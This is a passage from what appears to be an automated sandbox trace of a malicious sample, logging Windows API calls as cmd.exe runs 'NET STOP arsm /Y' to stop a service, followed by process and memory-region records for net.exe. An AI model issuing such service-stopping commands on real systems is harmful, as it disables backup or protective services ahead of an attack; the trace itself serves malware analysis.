returned="C:\\Windows\\system32\\cmd.exe /c NET STOP arsm /Y" [0038.415] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a825260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.415] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x484b88, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0038.415] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a830640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0038.415] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a830640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0038.415] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a830640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0038.415] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0038.415] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0038.415] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0038.415] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0038.415] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0038.415] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0038.415] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0038.415] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0038.415] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0038.416] GetEnvironmentStringsW () returned 0x482af8* [0038.416] FreeEnvironmentStringsW (penv=0x482af8) returned 1 [0038.416] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a830640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.416] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a830640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0038.416] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0038.416] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0038.416] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0038.416] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0038.416] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0038.416] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0038.416] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0038.416] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0038.416] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x24f628 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.416] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x24f628, lpFilePart=0x24f624 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x24f624*="Desktop") returned 0x25 [0038.416] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0038.416] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x24f3a4 | out: lpFindFileData=0x24f3a4) returned 0x481d90 [0038.416] FindClose (in: hFindFile=0x481d90 | out: hFindFile=0x481d90) returned 1 [0038.417] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x24f3a4 | out: lpFindFileData=0x24f3a4) returned 0x481d90 [0038.417] FindClose (in: hFindFile=0x481d90 | out: hFindFile=0x481d90) returned 1 [0038.417] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0038.417] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x24f3a4 | out: lpFindFileData=0x24f3a4) returned 0x481d90 [0038.417] FindClose (in: hFindFile=0x481d90 | out: hFindFile=0x481d90) returned 1 [0038.417] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0038.417] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0038.417] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0038.417] GetEnvironmentStringsW () returned 0x482af8* [0038.417] FreeEnvironmentStringsW (penv=0x482af8) returned 1 [0038.417] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a825260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.418] GetConsoleOutputCP () returned 0x1b5 [0038.418] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a824260 | out: lpCPInfo=0x4a824260) returned 1 [0038.418] GetUserDefaultLCID () returned 0x409 [0038.418] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a824950, cchData=8 | out: lpLCData=":") returned 2 [0038.419] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x24f768, cchData=128 | out: lpLCData="0") returned 2 [0038.419] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x24f768, cchData=128 | out: lpLCData="0") returned 2 [0038.419] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x24f768, cchData=128 | out: lpLCData="1") returned 2 [0038.419] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a824940, cchData=8 | out: lpLCData="/") returned 2 [0038.419] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a824d80, cchData=32 | out: lpLCData="Mon") returned 4 [0038.419] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a824d40, cchData=32 | out: lpLCData="Tue") returned 4 [0038.419] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a824d00, cchData=32 | out: lpLCData="Wed") returned 4 [0038.419] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a824cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0038.419] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a824c80, cchData=32 | out: lpLCData="Fri") returned 4 [0038.419] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a824c40, cchData=32 | out: lpLCData="Sat") returned 4 [0038.419] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a824c00, cchData=32 | out: lpLCData="Sun") returned 4 [0038.419] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a824930, cchData=8 | out: lpLCData=".") returned 2 [0038.419] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a824920, cchData=8 | out: lpLCData=",") returned 2 [0038.419] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0038.420] GetConsoleTitleW (in: lpConsoleTitle=0x4858d8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.420] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0038.420] GetProcAddress (hModule=0x75a20000, lpProcName="CopyFileExW") returned 0x75a53b92 [0038.420] GetProcAddress (hModule=0x75a20000, lpProcName="IsDebuggerPresent") returned 0x75a34a5d [0038.420] GetProcAddress (hModule=0x75a20000, lpProcName="SetConsoleInputExeNameW") returned 0x75a4a79d [0038.421] _wcsicmp (_String1="NET", _String2=")") returned 69 [0038.421] _wcsicmp (_String1="FOR", _String2="NET") returned -8 [0038.421] _wcsicmp (_String1="FOR/?", _String2="NET") returned -8 [0038.421] _wcsicmp (_String1="IF", _String2="NET") returned -5 [0038.421] _wcsicmp (_String1="IF/?", _String2="NET") returned -5 [0038.421] _wcsicmp (_String1="REM", _String2="NET") returned 4 [0038.421] _wcsicmp (_String1="REM/?", _String2="NET") returned 4 [0038.422] GetConsoleTitleW (in: lpConsoleTitle=0x24f460, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.422] _wcsicmp (_String1="NET", _String2="DIR") returned 10 [0038.422] _wcsicmp (_String1="NET", _String2="ERASE") returned 9 [0038.422] _wcsicmp (_String1="NET", _String2="DEL") returned 10 [0038.422] _wcsicmp (_String1="NET", _String2="TYPE") returned -6 [0038.422] _wcsicmp (_String1="NET", _String2="COPY") returned 11 [0038.422] _wcsicmp (_String1="NET", _String2="CD") returned 11 [0038.422] _wcsicmp (_String1="NET", _String2="CHDIR") returned 11 [0038.422] _wcsicmp (_String1="NET", _String2="RENAME") returned -4 [0038.422] _wcsicmp (_String1="NET", _String2="REN") returned -4 [0038.422] _wcsicmp (_String1="NET", _String2="ECHO") returned 9 [0038.422] _wcsicmp (_String1="NET", _String2="SET") returned -5 [0038.422] _wcsicmp (_String1="NET", _String2="PAUSE") returned -2 [0038.422] _wcsicmp (_String1="NET", _String2="DATE") returned 10 [0038.422] _wcsicmp (_String1="NET", _String2="TIME") returned -6 [0038.422] _wcsicmp (_String1="NET", _String2="PROMPT") returned -2 [0038.423] _wcsicmp (_String1="NET", _String2="MD") returned 1 [0038.423] _wcsicmp (_String1="NET", _String2="MKDIR") returned 1 [0038.423] _wcsicmp (_String1="NET", _String2="RD") returned -4 [0038.423] _wcsicmp (_String1="NET", _String2="RMDIR") returned -4 [0038.423] _wcsicmp (_String1="NET", _String2="PATH") returned -2 [0038.423] _wcsicmp (_String1="NET", _String2="GOTO") returned 7 [0038.423] _wcsicmp (_String1="NET", _String2="SHIFT") returned -5 [0038.423] _wcsicmp (_String1="NET", _String2="CLS") returned 11 [0038.423] _wcsicmp (_String1="NET", _String2="CALL") returned 11 [0038.423] _wcsicmp (_String1="NET", _String2="VERIFY") returned -8 [0038.423] _wcsicmp (_String1="NET", _String2="VER") returned -8 [0038.423] _wcsicmp (_String1="NET", _String2="VOL") returned -8 [0038.423] _wcsicmp (_String1="NET", _String2="EXIT") returned 9 [0038.423] _wcsicmp (_String1="NET", _String2="SETLOCAL") returned -5 [0038.423] _wcsicmp (_String1="NET", _String2="ENDLOCAL") returned 9 [0038.423] _wcsicmp (_String1="NET", _String2="TITLE") returned -6 [0038.423] _wcsicmp (_String1="NET", _String2="START") returned -5 [0038.423] _wcsicmp (_String1="NET", _String2="DPATH") returned 10 [0038.423] _wcsicmp (_String1="NET", _String2="KEYS") returned 3 [0038.423] _wcsicmp (_String1="NET", _String2="MOVE") returned 1 [0038.423] _wcsicmp (_String1="NET", _String2="PUSHD") returned -2 [0038.423] _wcsicmp (_String1="NET", _String2="POPD") returned -2 [0038.423] _wcsicmp (_String1="NET", _String2="ASSOC") returned 13 [0038.423] _wcsicmp (_String1="NET", _String2="FTYPE") returned 8 [0038.423] _wcsicmp (_String1="NET", _String2="BREAK") returned 12 [0038.423] _wcsicmp (_String1="NET", _String2="COLOR") returned 11 [0038.423] _wcsicmp (_String1="NET", _String2="MKLINK") returned 1 [0038.423] _wcsicmp (_String1="NET", _String2="DIR") returned 10 [0038.423] _wcsicmp (_String1="NET", _String2="ERASE") returned 9 [0038.423] _wcsicmp (_String1="NET", _String2="DEL") returned 10 [0038.423] _wcsicmp (_String1="NET", _String2="TYPE") returned -6 [0038.423] _wcsicmp (_String1="NET", _String2="COPY") returned 11 [0038.423] _wcsicmp (_String1="NET", _String2="CD") returned 11 [0038.423] _wcsicmp (_String1="NET", _String2="CHDIR") returned 11 [0038.423] _wcsicmp (_String1="NET", _String2="RENAME") returned -4 [0038.423] _wcsicmp (_String1="NET", _String2="REN") returned -4 [0038.423] _wcsicmp (_String1="NET", _String2="ECHO") returned 9 [0038.423] _wcsicmp (_String1="NET", _String2="SET") returned -5 [0038.423] _wcsicmp (_String1="NET", _String2="PAUSE") returned -2 [0038.423] _wcsicmp (_String1="NET", _String2="DATE") returned 10 [0038.423] _wcsicmp (_String1="NET", _String2="TIME") returned -6 [0038.423] _wcsicmp (_String1="NET", _String2="PROMPT") returned -2 [0038.423] _wcsicmp (_String1="NET", _String2="MD") returned 1 [0038.423] _wcsicmp (_String1="NET", _String2="MKDIR") returned 1 [0038.424] _wcsicmp (_String1="NET", _String2="RD") returned -4 [0038.424] _wcsicmp (_String1="NET", _String2="RMDIR") returned -4 [0038.424] _wcsicmp (_String1="NET", _String2="PATH") returned -2 [0038.424] _wcsicmp (_String1="NET", _String2="GOTO") returned 7 [0038.424] _wcsicmp (_String1="NET", _String2="SHIFT") returned -5 [0038.424] _wcsicmp (_String1="NET", _String2="CLS") returned 11 [0038.424] _wcsicmp (_String1="NET", _String2="CALL") returned 11 [0038.424] _wcsicmp (_String1="NET", _String2="VERIFY") returned -8 [0038.424] _wcsicmp (_String1="NET", _String2="VER") returned -8 [0038.424] _wcsicmp (_String1="NET", _String2="VOL") returned -8 [0038.424] _wcsicmp (_String1="NET", _String2="EXIT") returned 9 [0038.424] _wcsicmp (_String1="NET", _String2="SETLOCAL") returned -5 [0038.424] _wcsicmp (_String1="NET", _String2="ENDLOCAL") returned 9 [0038.424] _wcsicmp (_String1="NET", _String2="TITLE") returned -6 [0038.424] _wcsicmp (_String1="NET", _String2="START") returned -5 [0038.424] _wcsicmp (_String1="NET", _String2="DPATH") returned 10 [0038.424] _wcsicmp (_String1="NET", _String2="KEYS") returned 3 [0038.424] _wcsicmp (_String1="NET", _String2="MOVE") returned 1 [0038.424] _wcsicmp (_String1="NET", _String2="PUSHD") returned -2 [0038.424] _wcsicmp (_String1="NET", _String2="POPD") returned -2 [0038.424] _wcsicmp (_String1="NET", _String2="ASSOC") returned 13 [0038.424] _wcsicmp (_String1="NET", _String2="FTYPE") returned 8 [0038.424] _wcsicmp (_String1="NET", _String2="BREAK") returned 12 [0038.424] _wcsicmp (_String1="NET", _String2="COLOR") returned 11 [0038.424] _wcsicmp (_String1="NET", _String2="MKLINK") returned 1 [0038.424] _wcsicmp (_String1="NET", _String2="FOR") returned 8 [0038.424] _wcsicmp (_String1="NET", _String2="IF") returned 5 [0038.424] _wcsicmp (_String1="NET", _String2="REM") returned -4 [0038.424] _wcsnicmp (_String1="NET", _String2="cmd ", _MaxCount=0x4) returned 11 [0038.425] SetErrorMode (uMode=0x0) returned 0x0 [0038.425] SetErrorMode (uMode=0x1) returned 0x0 [0038.425] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x485d78, lpFilePart=0x24ef80 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x24ef80*="Desktop") returned 0x25 [0038.425] SetErrorMode (uMode=0x0) returned 0x1 [0038.425] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a830640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0038.425] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0038.430] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a830640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0038.431] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0038.431] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NET.*", fInfoLevelId=0x1, lpFindFileData=0x24ecfc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ecfc) returned 0xffffffff [0038.432] GetLastError () returned 0x2 [0038.432] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NET", fInfoLevelId=0x1, lpFindFileData=0x24ecfc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ecfc) returned 0xffffffff [0038.432] GetLastError () returned 0x2 [0038.432] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0038.432] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\NET.*", fInfoLevelId=0x1, lpFindFileData=0x24ecfc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ecfc) returned 0x4860b0 [0038.432] FindClose (in: hFindFile=0x4860b0 | out: hFindFile=0x4860b0) returned 1 [0038.432] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\net.COM", fInfoLevelId=0x1, lpFindFileData=0x24ecfc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ecfc) returned 0xffffffff [0038.432] GetLastError () returned 0x2 [0038.432] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\net.EXE", fInfoLevelId=0x1, lpFindFileData=0x24ecfc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ecfc) returned 0x4860b0 [0038.432] FindClose (in: hFindFile=0x4860b0 | out: hFindFile=0x4860b0) returned 1 [0038.432] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0038.432] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0038.433] GetConsoleTitleW (in: lpConsoleTitle=0x24f1f4, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.433] InitializeProcThreadAttributeList (in: lpAttributeList=0x24f07c, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x24f144 | out: lpAttributeList=0x24f07c, lpSize=0x24f144) returned 1 [0038.433] UpdateProcThreadAttribute (in: lpAttributeList=0x24f07c, dwFlags=0x0, Attribute=0x60001, lpValue=0x24f13c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x24f07c, lpPreviousValue=0x0) returned 1 [0038.433] GetStartupInfoW (in: lpStartupInfo=0x24f038 | out: lpStartupInfo=0x24f038*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x4719b2, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0038.433] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0038.433] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0038.433] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0038.433] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0038.433] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0038.433] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0038.433] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0038.433] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0038.433] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0038.433] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0038.433] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0038.433] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0038.433] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0038.434] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0038.434] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0038.434] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0038.434] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0038.434] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0038.434] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0038.434] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0038.434] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0038.434] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0038.434] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0038.434] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0038.434] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0038.434] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0038.434] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0038.434] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0038.434] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0038.434] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0038.434] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0038.434] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0038.434] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0038.434] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0038.434] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0038.434] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0038.434] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0038.434] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0038.434] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0038.434] lstrcmpW (lpString1="\\net.exe", lpString2="\\XCOPY.EXE") returned -1 [0038.435] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\net.exe", lpCommandLine="NET STOP arsm /Y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x24f0d8*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="NET STOP arsm /Y", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x24f124 | out: lpCommandLine="NET STOP arsm /Y", lpProcessInformation=0x24f124*(hProcess=0x7c, hThread=0x78, dwProcessId=0xab8, dwThreadId=0xabc)) returned 1 [0038.440] CloseHandle (hObject=0x78) returned 1 [0038.440] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0038.440] GetEnvironmentStringsW () returned 0x484d98* [0038.440] FreeEnvironmentStringsW (penv=0x484d98) returned 1 [0038.440] WaitForSingleObject (hHandle=0x7c, dwMilliseconds=0xffffffff) returned 0x0 [0038.567] GetExitCodeProcess (in: hProcess=0x7c, lpExitCode=0x24f018 | out: lpExitCode=0x24f018*=0x2) returned 1 [0038.567] CloseHandle (hObject=0x7c) returned 1 [0038.567] _vsnwprintf (in: _Buffer=0x24f160, _BufferCount=0x13, _Format="%08X", _ArgList=0x24f024 | out: _Buffer="00000002") returned 8 [0038.567] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0038.567] GetEnvironmentStringsW () returned 0x482af8* [0038.567] FreeEnvironmentStringsW (penv=0x482af8) returned 1 [0038.567] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0038.567] GetEnvironmentStringsW () returned 0x482af8* [0038.567] FreeEnvironmentStringsW (penv=0x482af8) returned 1 [0038.567] DeleteProcThreadAttributeList (in: lpAttributeList=0x24f07c | out: lpAttributeList=0x24f07c) [0038.567] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.567] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.567] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.567] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8241ac | out: lpMode=0x4a8241ac) returned 1 [0038.568] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.568] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8241b0 | out: lpMode=0x4a8241b0) returned 1 [0038.568] SetConsoleInputExeNameW () returned 0x1 [0038.568] GetConsoleOutputCP () returned 0x1b5 [0038.568] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a824260 | out: lpCPInfo=0x4a824260) returned 1 [0038.568] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.568] exit (_Code=2) Process: id = "15" image_name = "net.exe" filename = "c:\\windows\\syswow64\\net.exe" page_root = "0x4e42c000" os_pid = "0xab8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "14" os_parent_pid = "0xaa0" cmd_line = "NET STOP arsm /Y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 845 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 846 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 847 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 848 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 849 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 850 start_va = 0xb0000 end_va = 0xeffff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 851 start_va = 0x290000 end_va = 0x30ffff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 852 start_va = 0x490000 end_va = 0x4a7fff entry_point = 0x490000 region_type = mapped_file name = "net.exe" filename = "\\Windows\\SysWOW64\\net.exe" (normalized: "c:\\windows\\syswow64\\net.exe") Region: id = 853 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 854 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 855 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 856 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 857 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 858 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 859 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 860 